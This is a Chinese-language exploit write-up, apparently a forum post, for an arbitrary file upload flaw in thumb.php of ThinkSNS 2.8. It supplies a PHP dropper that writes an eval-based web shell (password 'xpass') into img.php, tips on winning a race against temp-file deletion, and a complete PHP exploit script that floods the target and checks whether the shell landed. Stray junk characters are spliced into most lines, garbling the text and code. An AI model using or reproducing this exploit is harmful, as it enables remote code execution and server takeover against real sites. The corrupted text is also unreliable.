漏洞版本
: i5 b/ l4 m6 V' B8 I: h0 D6 |存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)5 B$ g' l4 ~- e1 I0 n3 @
漏洞文件5 @+ a6 M& K* C) E
存在漏洞的文件为:thumb.php3 F% @; x8 _4 n9 m* _
作者:韦鲲鹏
7 J5 X) u6 V. d4 f) X L% _1、 准备如下PHP文件并上传到服务器(自己的)。- r6 A0 V) t' a' Q i; Z! Q, }
文件内容如下:
1 b; ?5 U% p% j, S<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
6 p: \: C0 b }: W* @$ N; m* s$ K2、 计算出临时的文件名:
! N+ V* |, |: Z) Q: ^这里我们可以看文件的99行(刚刚是不是没注意呀!)。
! a; |# i8 Z8 H7 |( Z1 c" r# Y' S6 Y- ?& C( t$ B% y" x+ A
3、 上传临时文件。) q/ n5 k! M7 K4 e7 ?: e% F" F- ^
4、 访问临时文件。
/ z, s8 y3 q1 B9 B5 I4 N$ p但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
' }; T! z$ z: X1 K$ fExploit文件内容如下:(这个我就不详细解释了)
. j- I2 z7 @3 l1 C<?php
; Z$ D5 E P7 O+ }" terror_reporting(0);
; b. B0 L$ a0 S$ Z/ gset_time_limit(0);
# m2 _" F/ `; fini_set(“default_socket_timeout”, 5);
6 V9 e- v' h e6 v% Efunction http_send($host, $port, $headers) {
/ i5 C3 ^* C, t* j# P/ e" Z) l$fp = fsockopen($host, $port); ^% C0 { B- P* I
if (!$fp) die(‘Connection -> fail’);2 e) M9 m6 J! }0 D" W' R& {
fputs($fp, $headers);& R* d! W: |" E) e1 V
return $fp;, @' o3 B8 l K# u$ D
}
% F" z9 p, {, g: ^0 G+ rfunction http_recv($fp) {4 V+ p( _6 A& N( b
$ret=”";
1 B$ L6 R2 n9 Y: E/ w' Rwhile (!feof($fp))5 r! S) {# z2 A4 I8 R
$ret.= fgets($fp, 1024);
% L1 S' |) i: |) ^: Y; y! Q3 _ yfclose($fp);/ [/ j( N8 v# w: ?, d
return $ret;+ a! x* m A2 s i7 U/ _5 Z& x
}8 U4 E9 Z$ O+ \1 R6 ?. U
print “\n# ThinkSns Arbitrary File Upload #\n”;
7 r( ~, ]; X- T& f! \print “# Discovered by 韦鲲鹏 #\n\n”;
; x! o$ r! \ v! [% @! f: Fif ($argc < 4) {
; _' \) L- X) ]0 O1 }7 Q( I' kprint “Usage: php <host> <path> <romote_url>\n”;
" D" {3 B6 p O! T, Q- S2 Gprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;, c# x- |' E6 C9 ^' A/ q; f
die();* o) ?% C" U/ @1 l) \9 m
}
; C) H1 r/ E v9 h$host = $argv[1];
7 n, m; `4 H% F* y3 G$path = $argv[2];
a% n V7 {9 y3 v- a& e$url = $argv[3];( Z$ w9 i' G, k8 {7 y
$i=0;1 j# Q$ ^9 u/ [
//上传数据包1 |/ s [+ A2 c
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;7 Y7 J4 T& @$ r0 v$ ]7 G
$headers_up .= “Host: “.$host.”\r\n”;6 g# p' Q$ B7 M w! `
$headers_up .= “Connection: close\r\n\r\n”;* U; y0 a. N( I
echo $headers_up;' \. L {4 W& q* C: N5 C
//临时文件访问数据包) ?$ T) C: L8 n+ b4 p
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;" i6 _4 N3 S3 q' }/ R
$headers .= “Host: “.$host.”\r\n”;; a8 @9 d* K+ { Y5 E
$headers .= “Connection: close\r\n\r\n”;
/ i/ ?1 m. V+ B3 g7 \echo $headers;! d. w; Y3 {/ U& o5 |
while(++$i<10) {
( C* j9 T$ c. K# b b% Z8 `! tfclose(http_send($host, 80, $headers));5 A6 E% Q/ D- ]6 K' J5 j6 r
}
6 Y: h+ G8 S% [# w' ~ ofclose(http_send($host, 80, $headers_up));$ s1 A A5 U2 r [3 |1 ]# f
while(++$i<50) {
" X+ i. V9 `* ?$ e2 yfclose(http_send($host, 80, $headers));. o" D4 ]1 B5 T+ ]: F. n
}% H5 X# F' c9 t1 x
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;9 R) c, q3 ]6 z6 [' o0 a
$headers .= “Host: “.$host.”\r\n”;
c# ^8 S% _' x+ q' ?7 B# ~$headers .= “Connection: close\r\n\r\n”;% P+ Q9 @* k0 t+ L% q& ~1 t
$res=http_recv(http_send($host, 80, $headers));
i6 d' N2 ?' U$ ~7 @if(preg_match(‘/200 OK/’,$res)) {
# h' K% b k% {6 W( q% Pprint “Success!\n\n”;
4 z9 H8 p7 i& N5 h8 Z3 U} else { Y- Q- u% m+ W+ H8 x% @( m, H2 F
print “Fail!\n\n”;
|' D8 c5 }$ K3 Z}
8 A! N3 P% p6 v- S+ E$ \) X?>5 U {) q6 }/ e% Q3 l& H8 x
|